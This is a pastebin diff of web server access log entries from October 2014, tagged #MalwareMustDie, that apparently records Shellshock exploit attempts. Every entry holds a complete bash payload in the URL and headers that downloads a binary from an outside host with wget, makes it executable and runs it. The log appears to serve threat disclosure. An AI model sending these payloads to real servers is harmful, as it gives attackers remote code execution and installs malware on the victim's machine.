View difference between Paste ID: 6vpKNmvt and kSz87jbi
SHOW: | | - or go back to the newest paste.
1-
176.67.167.180 - - [05/Oct/2014:11:14:20 -0500] "GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi* HTTP/1.0" 200 1959 "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*"
1+
176.67.167.180 - - [05/Oct/2014:11:14:20 -0500] "GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi* HTTP/1.0" 200 1959 "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*"
2
3
209.126.148.164 - - [04/Oct/2014:22:30:57 -0400] "GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi* HTTP/1.0" 200 1790 "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*"
4
5
67.214.182.202 - - [04/Oct/2014:01:39:09 -0400] "GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /var/tmp/sysinfo https://fs07n5.sendspace.com/dl/09a5e89fc7fadf22dd0318e37132e993/542eb2041a268d57/0r4nfb/sysinfo;chmod +x /var/tmp/sysinfo;/var/tmp/sysinfo HTTP/1.0" 200 1790 "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /var/tmp/sysinfo https://fs07n5.sendspace.com/dl/09a5e89fc7fadf22dd0318e37132e993/542eb2041a268d57/0r4nfb/sysinfo;chmod +x /var/tmp/sysinfo;/var/tmp/sysinfo" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /var/tmp/sysinfo https://fs07n5.sendspace.com/dl/09a5e89fc7fadf22dd0318e37132e993/542eb2041a268d57/0r4nfb/sysinfo;chmod +x /var/tmp/sysinfo;/var/tmp/sysinfo"
6
7
#MalwareMustDie